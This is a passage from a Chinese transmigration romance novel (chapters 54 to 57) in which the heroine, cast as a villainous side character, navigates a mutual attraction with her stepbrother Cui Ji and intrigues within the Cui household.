如果任务到此完成,她大可以捂脸就走,但是还有一环,她不能走。且走到这个地步,也只有更豁出去。 “你已经看了,可还难受?” “我……”她咽了咽口水,实在是难以启齿。 这时崔绩动了。 他一步步走近,雪衣无风自动,仿佛是飘渺的云。薄肌劲瘦修长完美的身体,似从天而来的上古神祗,裹挟着铺天盖地的危险气流。 魏昭像是被定住般,一时竟忘了后退。 她一动也不动,任由那温热的气息包围着自己。 男人暗沉的声音,如古妖的低吟,“你还想摸?” 第54章 书中男主的设定出身高贵, 清冷俊美不近女色,还有厌女症,她一直不太理解为什么这样的一个人会是限制文男主。 但此时此刻, 她恍然大悟。 近在咫尺的雄性张力,危险与压迫感并存, 如欲海中走出来的修罗,整个人都透着禁忌的邪气。 那暗黑如潭的眼底, 是欲海在掀起滔天巨浪,眼下那妖冶的美人痣,仿佛是夺人心魄的封印,还有灼热如火的气息,龙在深渊的隐忍…… 这样的人合该是当之无愧的限制文男主! “兄长, 我想……” 她话还没有说话, 手就被人握着, 直接按了下去。 【恭喜宿主完成任务。】 系统冰冷的声音响过后, 重归死寂中。 掌心处传来的诡异热度与触感让她浑身战栗,声音也在颤, “兄长,我好了, 我不难受了。” 她别过脸去, 不敢再多看一眼。 崔绩握着她的手移开, 却没有放开她, 压低的眉骨之下, 欲海中的潮涌还在继续着, 暗沉的声线唤着她的小字,“知之。” 这声知之和别人唤她不一样,语气中全是缱绻。 “我知道你不是病了。” “……” 她愕然, 因为心虚而头皮发麻。 “兄长,我不知道自己是不是病了,我就是变得很奇怪,总想着对你做这些有违常理的事,是我的错,全是我的错。” “你没有错。”男人的气息更近,似是还夹杂着若有似无的叹息,“你只是心不由己,你想引起我注意,你想与我多接触,你何错之有?” 这……这么会给她找借口的吗? 她越发震惊,“兄长,这么说你不怪我?” “我怎会怪你,你和我说过的话,对我做的事,我都很欢喜。” 须臾,男人的气息完全将她包围,她落入了他的怀抱。 说好的男主对恶毒女配是生理性的厌恶,而她亲眼所见,最直观的感觉却是完全相反。 “兄长,你不讨厌我?” 他闻言,头蹭着她的头,耳鬓厮磨,“知之,我也喜欢你。” “!” 所以那天他听到了她的表白! “兄长,我说的话做的事,求你不要放在心上,我只是病了……” “你看也看了,摸也摸了,现下让我不要放在心上,难不成你想始乱终弃?”他的气息更热,像是饥渴难耐的凶兽,下一秒就要张开血盆大口将她给吃下去。 她不知哪里出了错,但她知道这不对。男主不可能喜欢恶毒女配,等她走完剧情,女主就会出现。 “兄长,你可能是一时错觉,相信用不了多久,你就会遇到自己真正喜欢的女子。” “不会。”他近乎是贴着她的耳朵呢喃,“我只要你。” 她的心剧情地震荡着,说不出来是什么感觉,错愕与惊讶,纠结与不安,还有一丝隐蔽的窃喜。 恍惚间,梦里的情景再现。 小小的他抱着白色的小猫,满脸都是欢喜,“小猫,你真好,我们永远不要分开。” 幼童天真的笑,笑起来如星辰般璨亮的眼,让她切身地感受到被人强烈需要,密不可分的信任与依赖。 她如同在梦中一样回应着,下意识抱紧眼前人。 当她的手臂环上腰身时,仿佛形成一股强大的电流,窜起汇聚于崔绩的下腹,摧毁着他岌岌可危的理智。 他再也不想忍耐,气息划过她的耳畔…… 蓦地,她明白他的意图,瞬间清醒过来,用尽所有的力气将他推开。 “兄长,太晚了,有事以后再说。” 她一边说一边跑,像摆脱恶魔的纠缠般夺门而出。 斗南惊了一下,目瞪口呆地看着她快速消失的背影。 他转身进屋,位于白色屏风外,“公子。” 过了一会儿,听到自家主子“嗯”了一声后,这才绕过屏风。 崔绩已经穿戴好,慵懒地坐着,与平日里端正清冷的状态大不相同,那微垂的眼眸中,更是有着旁人窥探不到的风起云涌。 “把那些清理了。” 斗南心领神会,动手撤走茶水时,不无纳闷地问道:“公子,四姑娘这次莫不是当着你的面给你下毒?” 崔绩不置可否。 斗南更是不解,“四姑娘行事古怪,胆子也是越发的大了,公子你怎么也不阻止她,还由着她胡闹……” “她如今都敢当着我的面下毒,显然对我已是完全信任,不把我当外人,我觉着甚好。” “……” 崔绩还低着眉眼,视线定在自己的身下,“看也看了,摸也摸了,人却跑了,莫不是不满意?” 斗南惊呆了,几乎不敢相信自己的耳朵。 公子的病是越发的重了! * 且说那边魏昭一路跑回去,微喘娇娇,面若红霞。 白鹤扶着她,然后给她倒茶。 她松着自己的襟口,一连喝了两杯温凉的茶,还是没能将脸上和心口的燥热给压下去,当下捂着自己发烫的脸,坐到镜子前。 镜中的美人一脸芙蓉色,好比是最上等的胭脂玉,水眸盈盈似一汪清泉,唇色较之往日艳了许多。 完了! 她自己都能看出这副模样下隐藏的春色,何况是别人? “姑娘,你和大公子……” 她吁出一口气,缓缓平复着自己的心绪,“我们不可能。” 男主和恶毒女配不可能是一对! “姑娘,奴婢瞧着大公子对你很是不一般,你对他做的那些过分的事,他不仅不怪你,还帮你遮掩,分明是对你有意。你与他虽担着继兄妹的名头,却不碍着什么,奴婢觉得你对大公子也……” “有意也不行。”她打断白鹤的话。 有些事旁人都能看得出来,自己更有体会。 不管是长相还是能力,崔绩都堪称难得,她不过是个俗人,面对一个条件这么好的男人,接触下来有点动心也是人之常情。 “他以后一定会遇到一个真正喜欢的人。” “姑娘,你是怕大公子会变心?”白鹤能想到的只有这点。 她摇了摇头,没再说什么。 哪怕是有一点点动心,如今也顾不上,更不能凭心行事,只能忽略自己的心思,当务之急是走完剧情。 等到她完成自己所有的任务,男主会因为女主的出现而知道自己真正喜欢的人是方便,到时候肯定没她什么事。 所以很多事多思无益。 一夜乱梦,醒来后想到的第一句话就是崔绩的那句“我也喜欢你。” 如同一句魔咒,不断地在她脑海中回响。 白鹤取早饭来,带回赵老夫人要去庄子静养的消息。 “奴婢听人说老夫人点名让二夫人送姨老夫人,还说让二夫人在庄子上多陪姨老夫人,务必将姨老夫人安顿妥当。” 不知情的闻得此事,皆会以为盛氏疼爱自己的妹妹,事事都不放心,故而特地让得用的儿媳亲自去安排。 但身为知情者,魏昭却知道这一招是变相的敲打。 果然是当家多年的内宅主母,断然不是好糊弄的,哪怕是之前还当局者迷,一旦跳出迷局立马能看清所有的事。 尽管如此,盛氏还是给了赵老夫人应有的体面,令所有人为其送行。 快要启程之际,赵狄回来了,正好赶上送自己的祖母离开。 马车驶离之后,崔明静问她,“表姐这次回来,可是还要回公主府?” 赵狄空手而归,只带了欺霜,显然没打算回崔家。“公主未发话,我不敢擅自回来。” “二姐姐就不应该多此一问,人家欣然表姐在公主府住着不知有多好,哪里还记得我们崔府。”崔明淑这话极尽酸味,带着几分嘲弄。 她的话,直接被赵狄无视,反倒看向魏昭。 “你看四妹妹作甚,莫不是又想动什么歪心思?”她大恼,出言讽刺着。 盛氏杨氏和魏绮罗等人,几乎是齐齐变脸。 “三妹妹,有些事不能看表面,大长公主若真信寿昌公主的话,岂能还容我住在公主府?” 赵狄一副大义凛然的模样,但这话分明是说给魏昭听的。 方才回崔家的路上,她故意经过那人面桃花的铺子,却见铺子关着门,暗喜之余又不够解气。 喜的是应该是出了什么事,若不然铺子不会关门,不解气的是自己所期盼的事没有发生,远不到预计中的局面。 崔明淑立马反唇相讥,“你倒是会给自己脸上贴金?大长公主不信寿昌公主却信你,你以为你自己是谁,谁知道你是不是你死乞白赖不肯走?” “三妹妹,你慎言。魏妹妹都知道自己理亏心虚,不敢再说这事。你却故意提起,也不知是想替魏妹妹出气,还是想害魏妹妹。” 魏昭忽地过来,抬手就是一个耳光。 “啪” 所有人都不敢置信地看着她,包括赵狄自己。 她声音极冷,“你踩着我崔家上位,先是妄自揣测大长公主和寿昌公主两位殿下,还敢从中挑拨我和三姐姐的姐妹关系,当真是欺人太甚。我若不打你,都对不起崔家的列祖列宗!” 先前她还有所顾忌,怕对方是女主,但如今她可以肯定,这个赵狄不可能是女主,因为男主绝对不会在女主已经出现的情况下,对恶毒女配有感觉。 又赶紧转身,向盛氏认错,“祖母,我怕她给我们崔家招祸,又恼她挑拨离间,一时没能忍住。但是打人确实不对,请您责罚!” 知己知彼,方才有的放矢。 所以她在赌,也是在试探。赌如今的盛氏不可能毫无芥蒂地维护一个害自己的人,试探盛氏对赵狄还有多少怜惜之情。 盛氏紧蹙着眉,脸色很不好看,看她的目光多了几分思量。 她知道以自己向来乖巧懂事的形象,今日之举委实是出格,然而事到如今,她突然不想再忍了。 书上给她的人设不是蠢吗? 那就她蠢到底! “母亲,知之可是您看着长大的,自从我兄长去世后,她就变得胆小怕事。”魏绮罗将她往身后一护,帮她圆场,“今天却和人动了手,可见实在是气得太狠。” 她不是变得胆小怕事,而是那个年幼不知愁滋味,胆大活泼如皮猴子的孩子不是她,她低下头去,声音透着几分可怜。 “祖母,我不该打人,我错了。” 盛氏以为她打赵狄,还有第三个原因,那就是事关自己的身体。私心想着这么一个乖巧的孩子都能动手,可见确实是气狠了。当下心头一软,又对她的态度很是受用。 “好孩子,你也是为了维护崔家,为了维护姐妹之情,祖母怎么会怪你。” 这话一出,所有人皆惊。 尤其是赵狄。 她猛地想到祖母刚才几次欲言又止的模样,心下顿时一惊,“姨祖母……” “好了,你以后说话行事注意些,莫要在大长公主面前也失了分寸。”盛氏打断她的话,示意魏昭来扶自己。 她一脸的不敢置信,满眼的惊疑。 直到崔家人都进了门,大门缓缓关上。 “姑娘……”欺霜过来,小声嚅嚅,“方才白妈妈偷偷塞给奴婢一封信……” 她闻言,一把将信拿过来,打开扫了一遍后,面色阴阴沉沉,“难怪!” 信被她揉成了一团,紧紧地捏在手里,“我真是小看她了,不过她以为拉拢了姨祖母就能胜我,当真是可笑,孰不知真正能做主的人是大长公主。” “姑娘是说,这一切都是魏姑娘捣的鬼,难道她发现了……” “闭嘴!” 她望着崔府的大门,目光中不掩恨意,“魏昭,你知道了又如何?你是斗不过我的!” 第55章 * 魏昭从听闲堂出来时, 她以为堵自己的人会是崔明淑。 当她看到崔明静时,却也不觉得意外。 崔明静背对着她,似是在看旁边的玉兰树。玉兰树和桂树, 是崔府内种植最多的两种树木,一个喻意高洁, 另一个象征香存。 日头正好,如金如火, 艳灼而升温,从树隙间洒进来,地下树影的叶子也随之变化,仿佛是一幅会动的水墨画。 她慢慢走近,对方则缓缓转过身来。 四目相对时, 一个平静淡然, 另一个满是探究。 “看来我对四妹妹的了解还是太少, 竟不知你不仅心细, 还如此胆大,当真是越发的让人刮目相看。” “当不起二姐姐这样的夸奖, 只不过是兔子被人逼急了,不得不咬人罢了。” “四妹妹可不是兔子, 早在六弟的事情上我便能看出来, 这些年你一直都在隐藏自己, 或许我们所有人都被你骗了。” 魏昭望向她身后的玉兰树, 丝毫没有被人戳穿的慌乱与不安, “二姐姐言重了, 树根深于地下不见天日,并不是为了藏,而是为了生存, 我亦如此。” 她沉默了一会儿,也去看那玉兰树的枝丫,“木秀于林,风必摧之,这个道理四妹妹应是知道。你今日为一时之气,打了欣然表姐,你可有想过后果?” “二姐姐是担心她向大长公主告状,怕大长公主怪罪下来,我会连累崔家?” “这是其一,其二,祖母的心思你应该能看出来,大长公主接欣然表姐去公主府,想来也是存着同样的用意。你只是崔家的继女,若是把未来的崔家主母得罪狠了,你娘多年来的心血都会付之东流,你当真忍心?” 等了好半天,没等到魏昭的回答,又道:“我早就提醒过你,你为何不听?” 那是提醒吗? 说白了,是另一种变相的挑拨吧。 这个继堂姐总是如此,端着大家风范,打着为你好的旗帜,实则最是一个暗中操纵别人情绪的好手。 魏昭抬头望天,笑了一下。 偌大的崔府,如同一口古井,她们都是井底之蛙,所见不过是井口般大小的天地,日月轮回云聚云散。 “所以这就是二姐姐你不分对错,也要巴着欣然表姐的原因?” “你说什么?”崔明静脸色变了变。 魏昭看着她,笑意还在,却极冷极淡,“你怎么会不知道我在说什么?助纣为虐也好,互惠互利也好,你们若是不惹到我,我自是管不着。” “四妹妹,你……” “二姐姐,你是聪明人,将来的事谁也说不准,我们应该顾好的是眼前。” 说罢,魏昭不再看她,转身就走。 白鹤不时回望,见她还在,不由得担心起来,“姑娘,二姑娘会不会因此记恨你?” 魏昭叹了一口气,“我与她无怨无仇时,也不妨碍她算计我,自然也不差她记恨。” 这些年若不是她小心再小心,林氏和崔明静母女怕是必将她算计到连骨头碴子都不剩。人不犯我,我不犯人,人若犯我,躲无可躲之后,唯有正面应对。 白鹤越发担心起来,“以前她和二夫人就没少想害姑娘,以后怕是会没完没了。” 主仆多年,很多事她最是清楚。 正是因为清楚,所以才更不安,“现在还有一个表姑娘,……今日她挨了你一巴掌,必不会善了,定会去大长公主面前告你的状……” “不会。” 这一点魏昭很肯定。 赵老夫人因何要去庄子静养,盛氏为什么袒护自己,其中内情她最是清楚。 先前送行时,当着众人的面赵老夫人不好明说,过后必会想办法知会赵狄,说不定眼下赵狄已经知道事情败露。 赵氏祖孙进京之后,仗的是崔家的势,事关自己的体面,赵狄比谁都不想让任何人知道自己被盛氏所弃一事,尤其是大长公主面前,更不想露出半点端倪。 所以她确信,赵狄在独孤岚那里一个字也不会提。 事实也如她所想,赵狄没打算告诉独孤岚,却实在是不甘,竟然去了安元府衙。 府衙的人一听是他们少尹的妹妹,立马进去禀报。 崔绩来的很快,在看到是她后,冷眸中耀如星辰的光瞬间散去,取而代之的是疏离的清寒之色。 她暗恨,却装作没看见的样子,说自己刚给祖母送行,路上给大长公主买了些点心,顺道给他送一些。 他没收,道:“我不爱吃这些,你全都拿回去。” “表哥,一盒点心而已,你何必与我这么生分。”她低着头,像是万般委屈都落在自己身上。 欺霜替她不平,小声说:“大公子,你是不知道,我家姑娘去给老夫人送行,无缘无故被魏姑娘给打了……” “欺霜!谁让你说的。”她捂着脸,“魏姑娘是一时失手,我不怪她。” 她们主仆二人一唱一和,以为崔绩必会追问。 谁料崔绩闻言,淡淡地道:“她不会无缘无故打人。” “表哥,你就这么信她?当日就是她推我落的水,寿昌公主应是不喜我,故意帮她说话……” “她不屑用这等下作的手段。” 赵狄愕然。 她万万没想到崔绩对魏昭已经偏心至此,满心的嫉恨,“表哥的意思是我冤枉她,是我手段下作?我们幼年相识,你为何信她不信我?” 崔绩对她的眼泪无动于衷,眼底只有冷漠,“年幼时,我尚不知如何拒绝别人,便也任由你跟着我,但我只知你是姨祖母家的表妹,对你是什么人并不清楚。” “表哥……” “衙门重地,不是你该来的地方。” 她望着崔绩清冷而绝情的背影,越发的不甘。 良久,咬牙恨声,“为什么?她魏昭能做到的,我也可以,为什么不是我?” * 是夜。 又有信鸽落在窗台上,魏昭取下纸条后扫了一遍,随手洒了些粟米喂鸽子。 她走到桌前,铺纸研墨,提笔写回信。 鸽子吃饱后,带着她的信振翅远去。 透过窗前的青梅树,她望着无边的夜色,不知在想什么。听到白鹤从外面进来的动静,她没有回头,问道:“方勒说了什么?” 人面桃花的铺子关门,方勒最近的任务就是帮她打探消息。 好半天没有等到白鹤的回答,她疑惑地转身,“可是出了什么事?” 白鹤连忙摇头,“方勒他……他不是有事要禀报,而是来替大公子传话的,大公子说他今晚不回来,衙门近日事多,他这几日应该都歇在府衙。” “……” 这话听着怎么像是丈夫给妻子的报备! 一时之间,主仆俩都沉默了。 绿锦绣花的软榻上堆放着一些衣物,是之前白鹤收拾到一半的行李,她们准备明日一早就回魏宅。 因着崔明静的那些话,魏昭正好有合适的理由离开。 她怔愣过后,不知是白鹤,还是问自己,“他这是何意?” 白鹤继续收拾行李,思及之前方勒也问了类似的话,再次摇了摇头,“大公子心思难测,奴婢也猜不出来。” 过了一会儿,又迟疑地道:“姑娘,你说大公子故意让方勒传话,是不是想告诉你,他是有意避着表姑娘?” “这倒是有些难办了。”魏昭喃喃着。 男主用她的人来报信,好似已经与她不分彼此,看起来像是要动真格的。 白鹤当然不知她的为难,见她确实是一脸的纠结,越发的不解。 * 翌日。 一大清早的,她给魏绮罗打过招呼就出了崔府。 风师公还没有回来,月婆婆一看到她,满脸都是溢出来的高兴,当下提着篮子去买菜。 白鹤放下包袱后,手脚麻利地将躺椅搬到院子里,又在旁边的石桌上摆好茶水点心。 魏昭全身心都放松下来,无比惬意地躺在椅子上。 巷子里不时传来街坊的说话声,妇人们话着家常,东家长西家短的,不时传来笑声。孩童们玩闹着,偶尔也有争执声。 市井的热闹全是人气,散落在每个角落里。 院子时的花圃已零星开了些花,点缀在绿色中,分外的娇艳。柿子也大了些,瞧着枝条都被压得沉沉坠坠。 笼子里的那两只石龙子都还活着,一条懒散地趴在树枝上,另一条则躲在石头后面。屋顶上晒太阳的白小姐跳下来,趴在她怀里“喵喵”地叫唤着。 她顺着白小姐的毛发,满足到叹息。 不多会儿,月婆婆买菜回来,白鹤也跟着去厨房帮忙。 烟囱冒起烟后,饭菜的香味也跟着飘出来。 魏昭越觉这样的日子极好,有种岁月安稳的自在。 “咚咚” 外面传来敲门声,将昏昏欲睡的她惊醒。 月婆婆闻声出来,问了一句,“谁啊?” “是我。” 她听出来人的声音,一下子坐起,然后示意月婆婆去开门。 斗南先进来,接着是崔绩。 晴光明媚的天,照得那一身的雪色越显出尘,白衣惊鸿似画中仙,仙姿天人令人赞叹,如同绝世美玉映寒星。 但好死不死,魏昭眼前浮现的却是这人一览无余的模样,仿佛已然视别人的衣服如无物,一眼就能透过布料看到底。 那贲张的身体,在她的脑海中挥之不去。 崔绩到了跟前,低眉含笑,“听说你回来了,我正好路过,顺道来看看。” 他倒不是空手来的,还带了一些点心零嘴。 不等她说什么,很是不客气地又道:“也是凑巧赶在这个时辰,不知四妹妹可否留饭?” 话都说到这个份上,她还能把人撵出去不成? 寻常人家吃穿用度都是算好的,因着他们留下来,月婆婆又多煮了些饭,再加了两道菜。菜都是家常菜,但味道都很不错。 斗南连声夸赞,说这手艺比公主府的御厨也不遑多让。 月婆婆有些受用,笑着让他多吃些。 一顿饭吃下来,气氛还算是不错。 饭后,崔绩也没急着走,而是等其他人都退了出去,屋子里只剩下他和魏昭时,将小绿蛇放了出来。 “早先和你说过,我会带绿郎君上门与白小姐一起玩耍。” 白小姐见到绿郎君,不哈气,也不炸毛。而绿郎君也不昂头,也不吐信子,在它旁边盘着身体。 魏昭一看便知,这一猫一蛇此前必定相熟。 “知之。” 崔绩叫她。 她的心突地一跳,紧接着气血上涌,明显感觉自己头脑发热。 “你搬回来住,可是为了躲我?” “我没有……” “没有就好。”他靠了过来,强烈的气场将她团团围住,“我还以为你看也看了,摸也摸了,却躲着我,是对我的身子不满意?” 她的心再次乱跳,一股上涌的气血险些将自己给淹没,视线之中是近在咫尺的完美俊脸,有着不染人间烟火的清冷,但说出来的话却是万丈红尘的滚滚俗欲。 “我没有不满意……” “满意就好。” 他嘴角微扬,笑得有几分邪气。 幽湖染墨般的眼底布满侵略的危险,放肆地巡视着她,从眉眼往下移,定在她胸前的起伏处,声线如妖,“我也很满意。” 第56章 她感觉自己就是一块极致美味的点心, 正经受着准备享用者的欣赏,或者说是垂涎,不由浑身战栗起来。 男人的气息像一张网, 让她无法逃脱。 微微娇喘所导致的起伏加剧,像是引火上身, 火烧的不止是她,还有他。他的呼吸分明重了许多, 修长的手臂一带,她便落入他怀中。 这般紧密是贴着,她能清楚知道他身体的欲。 她听到自己的心跳声,还有血液奔腾的咆哮,震耳欲聋一响接着一响, 仿佛刹那间万物都消音, 唯有这些声响在不断循环。 笼子里的那两条石龙子不知何时也叠到一起, 四只眼睛正目不转睛地看着他们。 人和动物, 在这一刻相互呼应着。 男人的下巴抵着她的发,还蹭了蹭。 她忽然想起梦里那个幼童抱自己的习惯, 好像也是这般紧紧地搂在怀里,用下巴蹭着她, 却很是温柔, 并不使大力。 一时之间, 她竟有些哭笑不得。 很快理智回来, 提醒她此时的处境。 “兄长, 你这样是不是不对?” 崔绩闻言将她松开, 欲海漫漫地看着她。 这是男人看女人,但不应该是男主看恶毒女配的眼神。 “哪里不对?” 哪里都不对! “我是病了,控制不住自己才做下那些不应该做的事, 你又没病……” 他眼底光芒大盛,“你的意思是,若是我也有病,便可以同你一样,看你摸你?” 她心道完了! 男主这是觉醒人设了吗?怎么满脑子全是这种事! “兄长,你别吓我,我……” “我不吓你。”他似是叹了一口气,“现在确实不对,你等我。” * 魏昭想,如今她要做的也确实只有等。 等剧情走完,等女主出现。 人都走了许久,她还囿于这个问题,心情虽已平复,不再气血奔涌,但不知为何却有一丝说不出来的失落。 “咚咚” 外面又传来敲门声。 她以为是崔绩去而复返,竟有几分欢喜。 月婆婆一改关起门时的动作利索,整个人又变得走路都颤危危,一边嘟哝着“谁啊?”的疑问,一边去开门。 门才开了一道缝,她往面扫了一眼,旋即将门关上。 魏昭立马明白,来人不是熟人。 “姑娘,是个面生的男子,就倒在门口。”月婆婆到了跟前,小声道。 “去叫方勒。” 月婆婆领命,直接翻过内墙,穿过中间未住人的宅子,到了方勒所住的院子。不多会儿,原路又返回来。 一通操作下来如行云流水般自然,更是看不出半点老态。 很快,门外响起方勒的声音。 “公子,你怎么晕这了?你家在哪?我送你回去?” 那人应是醒了,听起来确实像是有些迷糊的样子,先是疑惑自己为何会晕倒在此处,紧接着似想起什么来般,说自己来这里是找人的。 方勒说自己就是这巷子里的人,家家户户都很熟悉,问他找的人姓什么叫什么,他支吾半天,说眼下渴得厉害,只想讨口水喝。 紧接着,又敲魏宅的门。 “这位公子,这家或许没有人,不如你去我家?”方勒也不管那人愿不愿意,直接强行把人给拉走了。 白鹤贴在门后面听完全程,不无疑惑地道:“这人一听就有古怪,问他找什么人也不说,还想进来讨水喝,八成不是什么好人。” “怕是盯上咱们了。”月婆婆冷哼一声。 一个没有男子的人家,还有个未出阁的姑娘,若真是一时心善放了陌生的男子进门,极有可能是引狼入室。 那人到底是无意,还是有意? 魏昭顺着白小姐的毛,若有所思。 近一个时辰后,方勒回来了。 之前他将那人强行拉走,那人拒绝他的邀请,没有去他家喝水,而是一脸恼色的离开。他一路跟着,一直跟着那人到菜市口。 “姑娘,我打听过了,他姓刘,是个游手好闲之人,没个正经营生。我听他和他娘说,好似是有人告诉他们,夫人多年未有生养,侍郎大人已有休妻之意,你这个继女很快就会失去庇护,他们不用再忌惮崔家,听他娘话里的话,应是与魏家有旧。” “不是有旧,是有仇。” 魏昭不用猜,也知道他们是什么人。 必是魏幸死后,那两家想吃绝户的人家之一。那些人贼心不死,但也就只敢试探,不敢真做些什么。 而那些话…… 她心下不无猜测,当下交待好月婆婆,带着白鹤出门,不是回崔家,也不是去找那个姓刘的,而是直奔户部所在。 白鹤找守门的人代为通传,言明自家姑娘是侍郎大人的女儿。守门的人先是愣了一下,应是想起崔洵确实有个继女,赶紧进去禀报。 不到半刻钟,崔洵出来了。 崔洵很是意外,一看到眼眶红红的魏昭,还当府里出了什么事。 魏昭也不绕弯子,直接相问:“父亲,您是不是要休了我娘?” “你这是从哪里听来的?”崔洵闻言,眉头立马紧皱。 魏昭吸了吸鼻子,道:“今日我回魏宅,突然有生人来找,我留了心眼,未让那人进门。又实在不放心,便让人跟着那人,哪成想……” 她把方勒听来的那些话一说,末了,又道:“听他们的意思,是从府里的人口中得到的消息,父亲,您当真要休我娘吗?” 当年的事就是崔洵处理的,他最是清楚那两家人是什么德行,更是知道他们如今打的又是什么主意,自来严肃的脸越发的吓人。 继女也是女,有人想用龌龊手段打他女儿的主意,他岂能任由? “这事为父已经知晓,断不会让那些人再去烦你。” “多谢父亲,只是他们言之凿凿,府里怕是有不少人都在传您要休我娘,我娘确实没有生养,本就不被人待见,若是还有这样的闲话,怕是日子更难过……” 他抿着唇,思量了一会后给户部的人留了些话,带着魏昭回崔府。 父女二人先是去见了盛氏,盛氏也很生气。 下人乱嚼口舌,非议主子房里的事,还传到了外面,简直就是打她这个后宅之主的脸。她将所有人召齐,狠狠敲打了一番。 事了,还安慰魏昭,让她别怕,“市井人口庞杂,以后若没什么事,你就住在府里。” 魏昭自是一脸感动的模样,带着几分惭愧,“我是怕欣然表姐的事……想着我若是不在府里,大长公主纵是要怪罪,我也不会连累你们。” 盛氏一听这话,更是感慨她的懂事。 “你放心,你是崔家的姑娘,那些人若敢打你的主意,祖母你第一个不依!” 众人闻言,齐齐看着她,目光各异。 她的目光越过所有人,落在崔明静身上。 崔明静没有避开,等到人散之后朝她走来,第一句话就是,“四妹妹怀疑这事是我做的?” 倒是明人不再暗话。 她不置可否。 崔明静自嘲一笑,“内宅之中妻妾相争也好,嫡庶不和也罢,终归是关起门来的家事。我并不否认自己的心计和手段,但我绝对不会干损人不利己之事。” 叹了一口气后,又道:“你好歹算是崔家的姑娘,倘若真让龌龊小人占了便宜,我这个崔家嫡女的脸上也无光。” “不是你,就是她。” 她说的这个“她”,她和崔明静都知道是谁。 崔明静看着她,摇了摇头,“四妹妹,我提醒过你的,可你非不听。这还只是开始,日后你怕是不得安宁。” 这话是挑拨,也是事实。 她如今算是和她们都对上了,除非是她绝对完胜,否则确实会不胜其烦。 但崔明静的情,她不会领。 * 魏绮罗在人前时只顾着娇弱地抹着眼泪,等到母女俩关起门说话时,立马变脸叉腰,“那起子黑心肝的,竟然盼着我被休!我呸!这崔家大夫人的位置我还就不放手了!” 她越说越来气,“还编排我没生养,要不是崔侍郎不愿意,我生他十个八个。崔侍郎还算识相,知道护着你,否则……” 否则怎么样没说,只哼哼了两声,却是莫名其妙红了脸。 夫妻之间有很多事不能外道,也自有彼此才知道的秘密,或者说是情趣,哪怕是像崔洵那样的古板的人。 魏昭装作不没注意听的样子,托着下巴发着呆。 “知之。”魏绮罗摸着她的头,“你别担心,你祖母都发了话,还有崔侍郎。哪怕是以后,你也不怕。我瞧着大公子最近也多了人情味,应是真把你当成妹妹,将来定然也会护着你。” 她心说原本一切都好好的,唯一的变数就是崔绩。 一想到他现在对自己的态度,她是一个头两个大,而对他的情,她是迎不得,也拒不得,当真是进退两难。 魏绮罗不知她心思,还在那里感慨,“我如今盼着他能娶个通情达理的妻子,日后对你这个小姑子也能照顾一二。” 她越发想叹气,暗暗祈祷快些走完剧情,因为只有等到女主出现,眼下所有的混乱都会拨乱反正。 经这事一闹,她也不好再回魏宅。 崔绩没有回来,也没有派人给她传话。她觉得自己并不在意,却辗转反侧睡不着,一时睁开眼睛,一时用被子蒙头,折腾到子时,哪怕是数了好长时间的羊还是毫无睡意。 乱她心者,她知道是谁。 “喵” 窗外传来猫叫声,她烦躁的心像是瞬间被抚慰,当下起身到了窗边。 推开雕花的大窗,一眼就看到青梅树旁边的人。 夜色晦晦,纵是一袭黑衣,有些人也像是被光环围绕,耀眼而不凡。 “我原以为能赶回来陪你吃饭,没想到忙到这个时辰,本不打算过来,又怕你挂着心睡不着。”他弯着颀长的身体,从青梅树下过来,几步就到了她跟前。 幽眸深深,亦灼灼。 她大方承认,“我确实没睡着。” 接着把白天发生的事说了一遍。 “我一想到时隔多年,那些人还想算计我们,我就觉得寝食难安。” “事情我已听说,那些人不会再出现在你面前。” 这样的承诺…… 魏昭听了,更想叹气。 “兄长,我们这样不对……” “我知道你担心什么。”崔绩俯着身体,握着她的手,“我带你去一个地方。” 第57章 * 宅院深深, 荒草萋萋。 假山角亭掩映在夜色中,影影绰绰如同怪物,花池里的水早已干涸, 灰暗的光线中瞧去,漆黑如一口大坑。 这是那个被封多年府邸。 魏昭看着站在花池边的人, 纵是如此模糊的光影中,仍然可见卓然的风姿与出尘, 但却比平日里所见多了几分孤寂。 “兄长为何带我来这里?” 如果是散步散心之类的,这个地方显然不合适,如果是来喂猫,却又没有准备猫食。 崔绩转过身来,目光在幽夜中看不真切。 “你可知这里的主人是谁?” 魏昭摇头。 她的记忆中没有人说过这宅子的主子是谁, 不像是真的无人知晓, 而是人人都讳莫如深, 只知道是个什么王爷。 崔绩望了一眼远处隐约的屋檐翘角, 声音极低,“燕王独孤亦。” 原来是四王之乱之一的燕王, 难怪市井坊间的百姓不敢提及姓名,应是都被当年独孤岚的雷霆手段所震慑, 生怕祸从口出。 但他身为独孤岚的亲外孙, 为何对此处的感情明显不一般? 魏昭心下猜测着, 却什么也不问。 内宅之中阴私再多, 也多不过皇宫。皇家的秘辛非常人所能触及, 普通人秉着知道越多死得越快的生存法则, 还是多一事不如少一事的好。 但四王之乱的事,民间流传多年,她也知道一些。 以燕王与晋王相争为前提, 牵扯着两人背后的势力,即漠北王和平南王。那时谁都不看好先帝,人人都以为最后储君之位不是燕王就是晋王。 先帝的父皇裕祖皇帝病危时,争储也到了白热化阶段。平南王镇守京中,有着天然的地理优势。而镇守边关的漠北王,难免鞭长莫及。 边关守帅非召不能回京,但漠北王不知是不是太心急,竟然率兵进京。那样的时刻,牵一发则动全身,裕祖皇帝得到消息后勃然大怒,欲以谋逆之罪降旨于他。 燕王竭力为他周旋,为力证他没有不臣不之心,自己也无争储之意,打消裕祖皇帝对他的定罪,当众了结自己的性命。他们师兄弟感情极深,是以他听到噩耗后,也以死明志。 后来裕祖皇帝虽未定他们二人之罪,但燕王府被封,凤家军被解散,朝野上下再无人敢为他们说话。 “他有一子独孤清风,被太后养在身边,与今上一起长大。今上被立为储君后,京中忽然冒出不少四王余孽,打着为独孤清风争夺王权的旗号。独孤清风为证自己的清白,做了和燕王同样的选择。” 这是皇家的秘辛,因为魏昭听到的版本并不是这样。 民间很少人知道独孤清风的名字,只知燕王留下一子,打小就身体羸弱,未及弱冠就病死了。 “你那次夜闯樊城大牢,难道就是为了查这件事?” “是。” 崔绩朝她走近,一手握着她的肩头,微俯着身体,“我知道你在担心什么,你以为我对你那般,却闭口不提娶你之事,或许只是贪图你的美色,与你胡闹而已。” “……” 他如果不说,她还真没想到这一层,或者说她压根没往这方面去想。 “我只是还有些事要做,等事情一了,我入赘你魏家,可好?” 他说的是入赘! 说不惊讶是假的,魏昭此时的心情可以为山呼海啸来形容。她没想到他居然想过他们以后,还是以这样的方式。 她总有一种不真实的感觉,仿佛眼前这一切,包括他说的话,他眼里的深情都不过是镜花水月。 一如那已经干涸的花池,曾经有多水满盈盈,现在就有多空乏寂寂。 “你为何要查这事?” 